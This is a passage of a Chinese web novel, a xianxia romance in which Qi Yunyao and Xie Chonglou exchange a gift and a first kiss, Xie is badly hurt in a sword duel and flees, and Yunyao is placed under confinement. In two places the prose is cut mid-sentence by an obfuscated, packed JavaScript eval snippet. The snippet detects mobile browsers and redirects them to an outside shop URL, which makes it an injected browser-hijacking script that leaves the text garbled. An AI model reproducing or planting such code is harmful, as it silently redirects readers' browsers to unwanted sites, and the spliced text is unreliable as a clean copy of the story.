带着埋怨的语气,却冷不丁被发丝扫到脖颈,整个人猛地一哆嗦,怀里的人也随即一僵。 祁云耀抬头去看,谢重楼脸上的笑意淡了些,脸颊却染上一抹绯红,耳尖也红得通透。他抿了抿唇,鼓足了全身勇气,轻声道:“你先放我下来。” “我不要!”祁云耀将他抱得更紧,两人一步一挪地进了屋子。 进屋后,祁云耀终于把他放了下来。 谢重楼站在原地,绯红还没褪干净。他垂着眼,像是忽然想起什么,从怀里摸出一样东西。 “给你。”他递过来,声音比刚才还要低。 那东西用布包着,看不出究竟是什么。 祁云耀愣了愣,接过来缓缓打开——只见里面是一对莹白色的角,质地如玉,在光下泛着淡淡的珠光。 这是…… “角蛇的角?”他抬头,声音都变了调。 “嗯。”谢重楼点头,目光落在他身上,“你之前的那对被花秽芳拿走了,我给你寻了一对新的。比你先前的那对大。” 祁云耀看了看手里的蛇角,又抬眼望向谢重楼,一时竟不知该说些什么,心底却暖融融的。他彻底放下了谢重楼耽误半月才来看自己的事,脸上挂上痴痴的笑:“你还记得啊!” “嗯。”谢重楼又点了点头。 “你不准只说‘嗯’!像是在敷衍我。你要说你一直记得,因为我很重要!”祁云耀眉毛一挑,故作刁蛮地说道。 “好,我一直记得,因为你很重要。” 谢重楼从善如流地应道。 “所以那只虎蛟,实际上是角蛇?”祁云耀端详着手里的蛇角,对比自己从前斩断的那只,体型几乎差了三倍,可见这只角蛇有多庞大。 “对。”谢重楼解释道,“天盟那边自上次药王谷之事后,便再次展开了排查,原本以为只有十五处幻境,可南海之事太过蹊跷,便派我前去查看。果然又是一处幻境,且里面出现了一条至少千年的大蛇。” 他看了看祁云耀,继续道:“所以我才没能直接来找你,这是我的错,你能不能不要再生气了?” 原本听着他前面的话,祁云耀只觉凶险万分——当初他们几人鏖战一只小角蛇,就险些覆灭,如今谢重楼竟能独自一人剿除这千年大蛇,可想而知,这五年里他又精进了太多。 正思忖着,忽然听见最后几句话,思绪莫名一顿。他将蛇角悉心收好,美滋滋道:“早就不气了。” 话音落下,对面却半点动静都无。 祁云耀猛地抬头,才发现谢重楼不知何时已经起身,两人贴得极近,近到他抬眼时,鼻尖几乎要撞上去。 一丝莫名的悸动,悄无声息撞进心底。 而谢重楼却猛地一僵,飞快坐回原位。 他望着眼前人面颊重新泛起的绯红,满心纳闷——这人到底在脸红什么? 祁云耀下意识想去牵他的手,想告诉他自己心情很好,谢谢他的礼物。可指尖刚伸过去,谢重楼却倏地一缩。 再抬眼望去,那人眼底分明藏着几分愠怒。 他一头雾水。 可不过一瞬,谢重楼又恢复了平日模样,仿佛刚才那点异样全是他的错觉。 入夜,两人同床而卧。 祁云耀闭着眼,却半点睡意都无。 不是从前的忧伤,也不是胡思乱想,而是兴奋得睡不着。 心脏怦怦狂跳,怎么都按不下去。满心满眼都是欢喜,甜得快要溢出来。好像谢重楼每次回来,他都是这般激动难耐,只在最后一夜,因舍不得他离开而辗转难安。 可这一次,又不一样了。 具体哪里不同,他说不上来,只知道心情好得快要飘起来,整个人都轻飘飘的。 他猛地睁眼坐起身,又一次吓了谢重楼一跳。 直到这时,那颗一直泡在甜意里的脑子才终于回过神,隐隐觉出几分不对劲。 谢重楼今天,被他吓到的次数是不是太多了? 更何况,谢重楼怎么会被他吓到? “你……你怎么了?”祁云耀又扑通一声躺回去,偏头望着他。 谢重楼一把将被子拉高,蒙住脑袋,翻身背对着他,声音闷在被褥里: “没事,我好困,要睡了。” 说完便一动不动,可露在外面的耳尖,却又再次烧红起来。 祁云耀:? 他实在好奇谢重楼到底怎么了,可对方都说要睡了,他也不好意思再打扰。 轻轻转回头,脑子里不受控制地回放白天初见的一幕—— 谢重楼居然在笑,还笑得那么好看…… 啊啊啊—— 他在心底无声尖叫。 目光偷偷挪过去,盯着那人的后背,只觉得浑身都在发烫,像有一簇小火在心底烧,烧得五脏六腑都成一滩。 最终,他轻轻掀开被角,自以为动作极轻地下床,可还是惊动了谢重楼。 “你要去做什么?” 祁云耀本想解释,又想起刚才对方不肯理他,当即披上外衣,嘴一撅,学着他的语气掐着声道: “没事啊~” “嗯?” 谢重楼闻言支起身,竟要跟着下床。 祁云耀本就是故意说的,见状连忙解释:“我睡不着,出去跑两圈,你先睡,我一会儿就回来!” 话音未落,人已经几步冲出门,还反手从外面把门反锁,活像怕人追出来一般。 谢重楼支起身,望着他落荒而逃的背影,眉头微蹙,重新躺了回去。双手在脸上轻轻搓了搓,发出一声像是做了什么亏心事般的轻叹: “哎——” “诶嘿嘿~诶嘿嘿~” 与屋内满心惆怅的谢重楼截然不同,祁云耀绕着练武场疯跑时,却是春风得意笑容满面,时不时的就会发出渗人诡笑。 那笑声飘在寂静夜里,听得人头皮发麻,以至于后来好一阵子,练武场都悄悄流传着——夜里有女鬼在此徘徊偷笑的谣言。 他跑出一身薄汗,又去认认真真冲了澡,把头发烘干,一身清清爽爽地回到寝室时,谢重楼已经安安静静睡熟了。 他立刻屏住呼吸,轻手轻脚凑到床边,垂眸细细端详。目光从他饱满光洁的额头,一路缓缓滑到眉眼,再往下,便落进锁骨那一道浅浅的凹陷里。 再往下,就被被褥和里衣严严实实挡住了。 他心里莫名生出一点小小的不满。 要是谢重楼每年都挑夏天来就好了。 夏日炎热,他夜里睡觉向来不怎么盖被。 若是那样…… 一阵冷风忽然从窗缝钻进来,冻得他打了个哆嗦。 谢重楼似是被惊扰,轻轻翻了个身,背对着他睡去。 祁云耀小心翼翼掀开被子上床,怕自己手脚冰凉冻醒人,特意安安静静躺了一会儿,等浑身都暖透了,才一点一点慢慢挪过去。 他轻手轻脚,虚虚地从身后环住谢重楼,心里美得快要冒泡。 鼻尖轻轻蹭进那人颈后,在满得快要溢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186808|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的幸福里,安安稳稳地睡了过去。 翌日,祁云耀先醒了过来。 他俩睡相向来不算安分,他当年甚至还有过把谢重楼一脚踹下床的“丰功伟绩”。 可今天一睁眼,他反倒在心里暗暗庆幸——还好他们都不老实。 谢重楼还没醒,呼吸轻浅均匀,胸膛随着呼吸微微起伏。 祁云耀整个人都窝在他胸口,手臂还牢牢抱着人家的腰。脑袋没枕在枕头上,反倒安安稳稳搁在对方一条温暖的胳膊上。 他呼吸放得更轻,故意装出快要醒的模样,轻轻哼了一声,双手又悄悄抱得更紧了些。而就这么一下,怀中人隐隐有了要醒的迹象。 他吓得立刻闭眼,一动不敢动,老老实实装睡。 这一装,竟又迷迷糊糊睡了过去。 等再次睁眼时,怀里早已空了。 祁云耀猛地翻身坐起,胡乱披上外衣,头发没梳,脸没洗,火急火燎就要往外冲—— 一开门,却正好撞上端着早餐回来的谢重楼。 四目相对的刹那,两人不约而同地错开了视线。 谢重楼将早餐轻轻放在桌上,眼睫垂着,不敢多看他一眼。祁云耀则是因为那点荒唐心事,心虚得不敢抬头。一室沉默,空气都黏着几分说不清道不明的微妙。 祁云耀刚咬咬牙,抬头想问一句“你怎么不叫醒我”,就听院外忽然炸响祁余天的大嗓门的一声喊—— “谢重楼!谢重楼!我听说你已是天下第一了!快出来与我比试一番!” 谢重楼闻言,几乎是如蒙大赦,转身就要往外逃。 手腕却猛地被人攥住。 他皱着眉,手攥紧,质问道:“他叫你你就去?那我在这干什么?你好不容易来一次不是来陪我的吗?” “你别去!你先陪我吃饭!吃完饭再去也行啊!”祁云耀补充道,说着眉头越皱越紧。 蓦地,只见谢重楼伸手缓缓地靠近,指尖戳在他眉间,将褶皱抚平。 像是下意识的动作似的,还没反应过来手已经先摸上去了。以至于两个人回过神来的瞬间又是齐齐一顿。 谢重楼飞快抽手后退,耳尖悄然泛红。 祁云耀则像是浑身力气被抽干,站都站不稳似的,踉跄着扶着桌子坐下,心跳撞得胸腔震颤。 谁也不看谁,都低着头。 祁云耀脑子里早已乱成一团浆糊,只剩疯狂尖叫: 他干什么?他刚才干什么?!我要死了——真的要死了! 温度从耳根一路烧到脸颊,烫得他快要睁不开眼。 不等他理清思绪,谢重楼却像是下定了某种决心,深吸一口气,缓步朝他走近。 祁云耀哪里还敢抬头,光是想象自己此刻通红的脸,就觉得丢脸到极致。 在谢重楼站定的瞬间,他猛地将脸往臂弯里一埋,死死捂住,死活不肯露出来。 “云耀,云耀——” 谢重楼轻轻碰了碰他,“抬头。” 祁云耀咬着牙,固执地不动。 “我有东西要给你。” 他顿了顿,又认真重复一遍,“真的,有东西给你。” “……什么?” 他刚一抬头,脸颊便被两只温热的手掌稳稳捧住。 心里瞬间警铃大作:谢重楼你这个骗子—— 下一瞬,柔软的触感轻轻落在唇上。 一触即分,快得像错觉,像当年他落下的那个吻。 还没来得及品出半点滋味,谢重楼已经稍稍退开,一双眼沉沉望着他。 那眼神又是他从来没见过的,像是要把他吞吃入腹似的。 四目相对,呼吸相闻。 谢重楼目光从他眉眼滑到唇瓣,喉结轻轻一动,再次俯身靠近。 这一次,两人都睁着眼。 祁云耀能看清他脸上细碎的绒毛,能数清他浓密纤长的睫毛,能清晰感受到唇瓣相触的轻软。 明明只是极短的一瞬,却漫长得像过一整个春天。 他只觉这轻轻的一下,可能这辈子都忘不了了。 谢重楼退开时,齿尖似乎不经意擦过他的唇,带来一阵酥麻的颤意。又或许没有,只是祁云耀自己已经从头皮一路麻到脚尖。 他没有立刻松手,依旧捧着祁云耀的脸,细细端详,忽然低低地笑了一声。 很轻,很清晰,带着几分终于得逞的窃喜。 祁云耀脑子轰然炸开,以为他在笑自己窘迫,正要恼羞成怒,就听见他轻声说: “两下了。” “……什么?” 谢重楼没再解释,指尖缓缓从他脸颊移开,转身提剑走向门口。 走到门边,脚步忽然一顿,回头看向僵在原地的人,笑意更深: “我是说真的。” 祁云耀还陷在“两下”是什么的混乱里,茫然应声:“啊?” “我一会儿,真的有东西要给你。” 他眼底盛着光,语气笃定,“记得来找我。” 话音落,人已踏出寝室。 只留下祁云耀一个人坐在原地,头发凌乱,眼神发直, 犹如被大恶霸强吻夺了清白的小公子,整个人都僵成了一坨,呆呆地开始重新思考人生。 30. 战败 祁云耀脑子晕乎乎的,浑身上下都浸在一股酥麻里,在原地僵坐了许久。 谢重楼吻过的地方,起初是火辣辣的烫,后来竟蔓延至全身。像是发了场高烧,热度从骨子里透出来,烧得他整个人要燃起火来。 如今唇上的灼热早已褪去,他却仍忍不住抬起手,指腹轻轻蹭过自己的唇瓣,就像是还残留着属于谢重楼的温度。 “两下了……两下了!” 他喃喃自语,嘴角不受控制地往上翘,又拼命往下压,反反复复,最后竟扯出一副想哭又想笑的模样,眼眶泛红,嘴角却扬起。 谢重楼说“两下了”。 他记得,他都记得。 想着想着,祁云耀忽然低下头,发出一声闷闷的、傻气十足的笑,肩膀颤抖着,连耳根又爬上绯红。 正巧祁灵昭路过门口,好奇地探头往屋里看了一眼,看清他那副模样,当即尖叫一声:“我靠!好恶心的表情!” 这一嗓子,才彻底把祁云耀从混沌里拽了出来。 他猛地想起谢重楼临走时的话,心头一紧,也顾不上跟祁灵昭拌嘴,慌张胡乱洗了把脸,披上外衣,又匆匆背上诉心剑——连头发都是一边往外跑,一边胡乱编的,跌跌撞撞就往演武场冲。 一路上,他的指尖还是忍不住一遍遍摩挲着唇瓣,时不时就低头痴痴笑出声,眉眼间全是藏不住的欢喜,连脚步都轻快得像是要飘起来。 不远处,同样正往演武场去的祁灵昭:“……” 祁云耀赶到时,比试尚未开始。 只是这一回,早已不是两人从前的小打小闹。演武场四周早已围得水泄不通,一边是赶来看热闹的西门弟子,另一边,则是驻扎在西门驻地的天机阁众人。 谢重楼斩虎蛟的那张小像,早已卖得脱销。本着有生意不做王八蛋的朴实信条,一听说天下第一剑要与西门祁余天比试,天机阁弟子们立刻蜂拥而至,人手一个小本子,就等着记下谢重楼的每一招身姿,回去拓印成册,好再大赚一笔。 祁云耀一眼便望见了个熟人——夏阳。 听说他跟着肖严谨回天机阁总部没多久,便又跑到西门开了铺子,生意红火得很,如今各处都已开了分盟。 夏阳一见到老主顾,立刻笑眯眯地凑上来,三言两语便哄得祁云耀从他这儿买了十多枚留影石。 揣着白花花的银钱,他又乐颠颠地转向旁人推销去了。 祁云耀在人群里四处张望,却始终没看见谢重楼的身影,心下急得不行。 虽说今日是祁余天对战谢重楼,可正式开赛前,总需几名弟子先上台与两位主角热身。 谢重楼早已比过,听闻只是随手一挥剑,便将上台的几名西门弟子尽数撂下。此刻台上鏖战的,是祁余天与几名同门,一柄浑天剑被他舞得虎虎生风。 他正踮脚张望,后腰忽然被人轻轻戳了一下。 祁云耀猛地回头—— 正是谢重楼。 他一言不发,悄悄拉着祁云耀的手腕,从人群缝隙里钻出来,两人一路走到不远处的廊下。 四目一对,又不约而同地红了脸。 祁云耀反手紧紧握住他的手,轻声问:“你说的两下,是我想的那个意思吗?” “嗯。”谢重楼不好意思地偏过头。 祁云耀却忽然凑上前,鼻尖几乎要碰到他,目光灼灼地望着他: “那为什么只有两下?怎么不是十下?” 谢重楼索性闭上眼,眉尖轻轻蹙着,声音低低喃喃: “没来得及。” “那来得及的话,就是十下吗?” “嗯。” 看着谢重楼那副恨不得钻进地里的模样,祁云耀才忍着笑转了话题: “你说要给我的东西,是什么?” “现在还不能给你。”谢重楼睁开眼,对上他亮晶晶的目光,又像被烫到似的闭上。 “那要多久才给我?”祁云耀又靠近一步,握得更紧,气息轻轻拂在他耳边。 “马上!” “马上是多——” “谢重楼!谢重楼!你在哪儿!” 场上忽然炸起祁余天的大嗓门。 两人回头望去,只见祁余天满脸通红,神采飞扬,显然热身完毕,手中浑天剑蠢蠢欲动。 一眼望见他俩在角落拉拉扯扯,当即张大嘴就要开口询问。 却见谢重楼足尖一点,身形已如惊鸿般飞掠而出。 “你和二——” “请!” 祁余天的询问卡在喉咙里,眼睁睁看着谢重楼已将断不义横持胸前,剑尖凝光。 “好!” 他顿时被激得战意更浓,不肯在气势上落了下风,猛憋几口气,原本就黝黑的脸颊变得通红,大步站定在他对面。 两人隔丈余对立,台下瞬间沸腾起来。天机阁弟子们飞快翻出小本本,笔尖在纸上飞速勾勒;夏阳更是托了二十几块留影石,踮着脚四处挪动找最佳角度,恨不得将谢重楼的每一个剑势、每一寸身姿都清晰刻进石中,好回去大赚一笔。 裁判的钟声“当——”地一声落下,余音未散,祁余天已率先发难! 浑天剑势大力沉,此刻被他挥舞起来,带着开山裂石的磅礴之势,剑风呼啸,直取谢重楼中门。 谢重楼似要提剑横阻却蓦地眉头微蹙,身形极轻地侧身避让,脚步如踏流云,断不义贴着浑天剑的剑脊顺势滑过,“铮”的一声擦出一串刺目的火星,亮得晃人眼。 “好!” 台下喝彩声、叫好声瞬间炸开。 祁余天一击不中,非但不恼,反倒哈哈大笑起来,眼中的战意愈盛:“痛快!再来!” 话音未落,他身形陡然一转,浑天剑横扫而出,剑气如虹,裹挟着凌厉的风势,直逼谢重楼要害。 谢重楼不退反进,足尖轻点地面,整个人凌空跃起,衣袂翻飞如灰蝶,断不义自上而下凌空劈下,剑势凌厉如惊雷—— “铛!” 两剑剧烈相交,金石相击的巨响震得台下众人耳膜发麻。祁余天被那股磅礴的剑气震得连连后退半步,脚掌在地上踏出两道深印,脸上的笑意却愈发灿烂,高声喊道:“不愧是你啊!” 谢重楼未发一言,眉头蹙得更紧。握剑的指节收紧,周身的气息比先前沉了几分。 台下的祁云耀,心头却莫名一沉,隐约察觉到些许不对劲。谢重楼周身的灵气,似乎在悄然暴乱,那波动极淡极细,若非他也偷学了西门秘术,更本察觉不了。 他下意识侧身,一把抓住身旁的祁灵昭,刚要开口询问,就听祁灵昭先一步说道:“我看到了。” 祁云耀的心揪紧,追问:“怎么回事?” “不知。”祁灵昭坦然摇头,语气突然羞赧,“我……还没学到那……呢!” 祁云耀:“啧——” 他松开手,转头重新望向场上,目光灼灼,总觉得有什么不好的事情,即将发生。 演武场上,两剑再次相交,火星四溅;台下,喝彩声依旧不绝,可祁云耀却将所有的注意力,都紧紧锁在那个灰衣持剑的身影上。 祁余天见他手指攥紧,只当是在蓄力备战,当即大喝一声,周身灵气暴涨,浑天剑裹挟着翻涌的剑气,如狂风骤雨般朝着谢重楼倾泻而下。 谢重楼挥剑相迎,每接一招,便被迫后退半步;再接一招,又退半步。 台下的窃窃私语声渐渐响起,原本沸腾的喝彩声也淡了下去—— “谢重楼怎么一直在退?” “说不定是在试探祁师兄的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196057|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实力吧?毕竟浑天剑势大力沉,不好硬接。” “不对,他先前斩虎蛟时,可是招招凌厉,从未这般……” 祁云耀的心彻底沉了下去,指尖攥得发白,此刻已然万分确定,谢重楼定然是出了什么事。他刚要开口大喊,想打断这场比试,问问谢重楼究竟怎么了,却见谢重楼周身的灵气蓦地炸开,刺眼的金光席卷全场,晃得他下意识闭上了眼睛。 就在此时,祁余天的浑天剑已然逼至谢重楼面门。 谢重楼下意识提剑阻挡,可周身暴涨的灵气却在瞬间骤然消散。他瞳孔骤缩,难以置信。而祁余天也察觉到断不义的剑气突然消失,心头一惊,情急之下急忙翻转手腕,沉下重心,浑天剑的剑身重重砸在谢重楼的腰腹之间—— “嘭!” 一声闷响,谢重楼整个人被砸得离地而起,连人带剑一同飞出演武场的擂台,直直朝着台下摔去。 “谢重楼!!!” 祁云耀睁开眼,看见的就是一道坠落的身影,他不顾周遭的混乱,疯了似的冲破人群,朝着谢重楼冲去。 混乱中,一本蓝色封皮的册子从谢重楼身上滑落,重重摔落在地上。 谢重楼后背重重磕在地面,一声闷哼,喉间涌上一阵腥甜,一口鲜血直直呕了出来,染红了胸前的衣袍。可他连喘息都顾不上,挣扎着便要从地上爬起来,手指飞快掐诀,周身再次泛起淡淡的金光,手中的断不义也发出阵阵嗡鸣震颤,似是在回应。 “你怎么样?” 祁云耀终于冲到他身边,急忙伸手扶住他摇摇欲坠的身体,话音里满是颤抖。 可谢重楼神色纠结,刚抬起头,喉间又是一阵翻涌,再呕出一口鲜血,溅得下巴、脖颈全是。祁云耀连忙收紧手臂稳住他,眼眶泛红:“你到底怎么了?为什么会这样!” 说话间,祁余天和祁灵昭也匆匆赶了过来。祁余天急得直接将浑天剑丢在擂台上,几步冲到近前,满脸愧疚:“我不是故意的,我……” 祁灵昭则弯腰捡起了那本从谢重楼身上滑落的蓝色册子,她下意思扫了一眼,册子封皮光滑,没有任何文字,递向谢重楼。 谢重楼急着去接,可此刻他浑身酸软无力,手指刚触及册子边缘,册子便再次滑落,掉在地上。 祁云耀连忙弯腰替他捡起,心里满是焦灼。奇怪的是,这本册子方才在空中翻转、重重摔落,始终严丝合缝,连一页都未曾散开,可他的指尖刚触碰到封皮,册子便像是解除了某种桎梏,书页轻轻散开,露出里面的字迹。 他此刻满心都是谢重楼的伤势,本无心细看,可递过去的瞬间,目光无意间一扫,赫然瞥见书页上写着“云耀亲启”,动作一顿。 就在这时,谢重楼猛地伸手,将册子从他手中夺了回去,动作急切又慌乱。 “要不要给你叫医师?”祁云耀的声音发哑,眼睛都不敢直视谢重楼——他的下巴、衣袍上全是鲜血,脸色苍白,模样惨不忍睹,看得祁云耀心脏阵阵发疼,脑子也乱成了一团浆糊。 这边的动静,很快惊动了祁艳和江驰。 两位大人远远望见演武场边缘的惨状,当即快步赶来,一边吩咐群龙无首的西门弟子封锁整个演武场,一边又派人火速去库房搬来金银珠宝,竟是要将在场天机阁弟子手中的留影石、画册全部买下。 谢重楼靠在祁云耀怀里,艰难地喘息了几下,抬起泛着泪的眼睛,直直盯着祁云耀。沉默了数息后,他忽然开口,声音沙哑:“对不起。” 祁云耀还未反应过来,便见谢重楼将那本蓝色册子紧紧揣进怀里,紧接着,他不顾自身伤势,强行运转周身混乱的灵气,全然不顾西门布下的阵法,反手推开祁云耀,足尖一点,踏上断不义,强行御剑,身形踉跄着冲出此地,转瞬便消失在远方的天际。 31. 禁足 谢重楼的身影刚消失在天际,祁云耀便转身要追,脚步刚抬,手腕便被祁艳死死攥住。 “不许走。”祁艳语气凌厉,一边抬手指挥江驰与诸位长老,去收买天机阁弟子手中的留影石与画册;一边目光逡巡全场,严防有不怕死的浑水摸鱼,偷偷将东西带出西门;还要分神看管这个儿大不中留的东西。 “可是母亲你也——” 祁云耀话到嘴边却猛地顿住。他学的秘法本就是千求万求祁灵昭偷偷教的,若是被母亲察觉,别说去找谢重楼,他和祁灵昭两人的皮恐怕都得被扒下来,说不定父母还会咬牙再生一个,直接将他们逐出西门! 思及此处,他连忙转了话头,语气哀求:“——也看得出来他不对劲吧!当初谢重楼揍我的时候,本事可比这大多了,万一,万一他在路上出了事怎么办?娘,你就让我去找他吧,求你了!” 他刻意将“当初谢重楼打我”几个字含糊带过,却还是被耳尖的祁艳抓了个正着。祁艳反手一拧他的手臂,力道不小,低声怒道:“你既然知道他本事不小,还凑上去做什么?别烦我,一边好好待着!他已经出了西门地界,是生是死,都与西门无关!” “娘!”祁云耀疼得龇牙咧嘴,却依旧不肯放弃,声音里满是哀求。 祁艳懒得跟他纠缠,手指一勾示意祁余天过来。 他连忙快步上前,还没等开口,祁艳便将祁云耀往他怀里一推,冷声道:“看好你弟弟,他要是敢跑,我就把你耳朵拧下!” 祁余天立刻捂住自己的耳朵,死死攥住祁云耀的胳膊,任凭他怎么哭诉、哀嚎、挣扎,都纹丝不动。祁云耀急得跳脚,却被亲哥制得死死的,半点办法都没有。 不远处的祁灵昭讪讪缩了缩脖子,悄悄抬眼打量祁艳的神色。却立即对上祁艳锋利如刀的眼眸,听见母亲一声冷嗤,瞬间了然——她叫祁云耀偷习秘法的秘密,显然是暴露了。 她连忙堆起讨好的笑,脆生生地说了一句:“娘亲,我也去看着哥哥弟弟,不让他们捣乱!”话音未落,便快步凑过去,紧紧抓住了祁云耀的另一只手,一副“我坚决站在娘亲这边”的模样。 祁艳收回目光,重新逡巡全场,清点着弟子的数量,又在心里默默盘算着今日收买天机阁弟子花出去的金银,忍不住低骂一声:“一个个的,都不是省心的东西!” 骂完,她脑海里又不由自主地闪过方才赶到时,谢重楼口吐鲜血、惨不忍睹的模样,心头隐隐泛起一丝后怕。目光再次瞥向身后三个儿女——不由得太阳穴阵阵发疼,只觉得一个头两个大。 闹剧一直拖到傍晚,待天机阁弟子尽数被送走,各位长老也领着门下弟子回去训诫后,祁艳终于腾出手来,转头要教训三兄妹——可一转头,只见三个身影齐刷刷地垂着头,一脸生无可恋。 祁余天被二弟哭嚎了大半天,眉头皱得死紧,眼神呆滞,却始终牢牢记着娘的命令,攥着祁云耀胳膊的手半点没松,力道大得把人衣袍都扯崩了线,也不肯挪一下。祁灵昭站在另一侧,只象征性地伸出指甲盖,轻轻掐着祁云耀袍子的一角,嘴角撇着,显然也被吵得头痛,甚至隐隐透着点嫌弃。 而祁云耀,早已哭成了个泪人,眼睛红肿,头发凌乱不堪,脸颊上还挂着未干的泪痕与鼻涕,乍一看去,竟有种说不出的狼狈,就像是被怎么样了似的。 她到了嘴边的训斥,终究是咽了回去。光是看着这三个不让人省心的,就够让她头疼了,她挥了挥手,语气不耐却带着疲惫:“拖走,禁足!” 这次的禁足,绝非往日的小打小闹。 祁艳显然是动了真格,祁云耀住处的四周,足足加派了十多个三阶以上修为的弟子轮流巡逻;除此之外,祁余天和祁灵昭还要轮番值守,有时甚至两人一同守在他房间里,严防死守,就是怕他趁人不备偷偷溜走。 被禁足的日子里,祁云耀坐立难安,提笔给谢重楼写了一封又一封的信,每写完一封,就放飞一只偃甲鸟。可那些承载着他担忧的偃甲鸟,一只只飞出去,最终却又一只只原封不动地飞了回来,信上的字迹依旧清晰,显然连谢重楼的踪迹都没能找到。 日子一天天过去,转眼便到了第六天。这一次,祁云耀再放出偃甲鸟,那小鸟却只是扑腾了几下翅膀,落在窗檐上,无论怎么驱赶,都不肯飞走,就那样呆呆地停着,歪着头望着他。 他的心瞬间揪紧,愈发焦灼——偃甲鸟不飞,定然是找不到谢重楼的踪迹,说不定谢重楼真的出了什么事! 起身就要往外冲,想去天机阁的铺子问问弟子,这偃甲鸟究竟出了什么问题,可刚走到门口,就被守在一旁的祁余天拦了下来。 两人当即扭打在一起,只是几息,便被祁余天毫不费力地按在地上,动弹不得。 “大哥!你就让我去找天机阁的弟子吧!我保证,问完就回来,绝不乱跑!你让我去找他,求你了!”祁云耀趴在地上,一边挣扎,一边嚎啕哀求。 “不行,我不信你。”祁余天神色为难,却依旧死死按着他,“娘说了,要是让你跑了,就把我耳朵拧下来!再说,我还不知道你?让你出去了,你肯定不止去找天机阁弟子,定然会直接去找谢重楼!” 说到最后,祁余天还得意地扬了扬下巴,眼神里满是“我早就看穿你了”的笃定,显然为自己的聪明沾沾自喜。 “求你了大哥,你就让我去吧!”祁云耀见硬求不行,又软了下来,一边掉眼泪,一边哭诉,“娘不会打死你的,真的,我向你保证!你信我这一次!” “不要。”祁余天半点不心软,毫不犹豫地拒绝了他,语气斩钉截铁。 祁云耀知道,直接求肯定行不通,当即话锋一转,换了个法子,絮絮叨叨地哭诉起来,字字句句都透着委屈:“大哥,我和小妹年岁相差不大,而且我又不是女孩,没法继承西门的家业。自从小妹出生以后,爹娘的关心就被分走了大半,这些你都不知道吧?” 祁余天抿着唇,沉默着没有说话。祁云耀见状,连忙继续哭诉,语气愈发委屈:“你当然不知道,因为你是第一个啊,是爹娘当时唯一的儿子,能独享他们的宠爱。可我不一样,小妹还要和我平分,甚至有时候,爹娘会更偏爱她——” 说着说着,祁余天只觉得自己的手背一阵湿润,低头一看,只见自家弟弟又开始吧嗒吧嗒地掉眼泪,泪珠砸在他手背上,滚烫滚烫的。 “我有时候甚至会想,要是我偷偷跑出去,一直不回来,爹娘要过多久才能发现啊?”祁云耀的声音哽咽着,满是卑微与心酸,“但是谢重楼不一样,他眼里只有我,他是只偏爱我的人。所以我喜欢他,我想找到他,大哥,你能理解我吗?” 祁余天的嘴唇抿得更紧了,脸上的神色也渐渐软化下来,显然已经开始动摇。他不是不近人情,只是不敢不听娘亲的话,可看着弟弟哭得这般伤心,他心里也不好受。 祁云耀见状,连忙趁热打铁,语气里满是担忧:“我只是想知道他好不好,想知道他现在怎么样了。演武场上他的样子,你也看到了,他吐了那么多血,肯定受了很重的伤啊!以前我受伤的时候,都是他一直守在我身边照顾我,现在他受伤了,难道我就要眼睁睁看着他拖着伤体,一个人孤零零地走吗?” “大哥!” 最后那一声呼喊,带着撕心裂肺的哀求,震得祁余天心脏猛地一颤。他低头看着弟弟那张哭得上气不接下气、“梨花带雨”的脸,又皱着眉,费力地转动着不算灵光的大脑,纠结了许久,终于缓缓松开了牵制着祁云耀的手。 “你先别动,也别乱跑。”祁余天站起身,语气依旧有些犹豫,却多了几分松动,“我去问问灵昭,等我回来。” 说完,他便转身,脚步有些迟疑地往门外走去,一边走,还一边回头叮嘱,生怕祁云耀趁他不在偷偷溜走。 祁余天出了房门,径直去找了祁灵昭,把祁云耀哭诉的那些话原原本本复述了一遍。祁灵昭听完,眉头一蹙,试探着问道:“他就这么跟你说的?” 祁余天连连点头,一脸认真:“对啊,哭得可伤心了,还说爹娘偏爱你我,不疼他。” 祁灵昭摸着下巴,低头思索了片刻,语气里带着几分疑惑:“奇了怪了,他也跟我这么哭过,可我怎么总觉得,咱们俩好像被他捏住软肋,糊弄了呢?” 两人你看看我,我看看你,琢磨了好一会儿,齐齐点头——这件事,确实有待商榷,可不能就这么被祁云耀骗了。 刚转身准备回去找祁云耀对质,屋里就传来了他声嘶力竭、声泪俱下的哭喊,又把那套“小白菜没人爱、爹娘不疼兄妹不亲”的过往翻了出来,絮絮叨叨,哭得肝肠寸断。 只是这一次,他对面坐着的,可不是祁余天和祁灵昭这两个容易心软——而是他亲娘祁艳。 祁艳坐在桌边,眉头微微一挑,神色微妙。每当祁云耀掰着手指头,说出一点“爹娘对我不公平”的委屈,祁艳就立即开口反驳,还一桩桩、一件件,罗列出他小时候的“英勇事迹”:干了坏事不敢承认,偷偷甩锅给祁余天,害得祁余天被罚跪祠堂;祁灵昭刚出生没多久,他不知道听了旁人什么闲话,扬言要离家出走,结果天黑了又害怕,不敢独自出门,就撺掇着祁余天,一手抱着襁褓里的小妹,背上背着他,三个人偷偷跑出西门,害得整个西门上下出动,翻了个底朝天,找了整整一夜,才在河边找到已经躺在破木桶准备被“放生”的祁灵昭,以及准备两个人仗剑天涯的祁云耀祁余天。 祁云耀:“……” 祁余天:“……” 祁灵昭:“……” 屋内一时陷入死寂。最终,祁艳叹了口气,扶着隐隐作痛的太阳穴,语气带着几分疲惫与无奈,劝道:“你以后就好好待在西门,别出去惹事了。最近天盟、地宗都不太平,外面乱糟糟的,别再往外跑,免得惹祸上身。” 说完,她便起身,转身就要走。 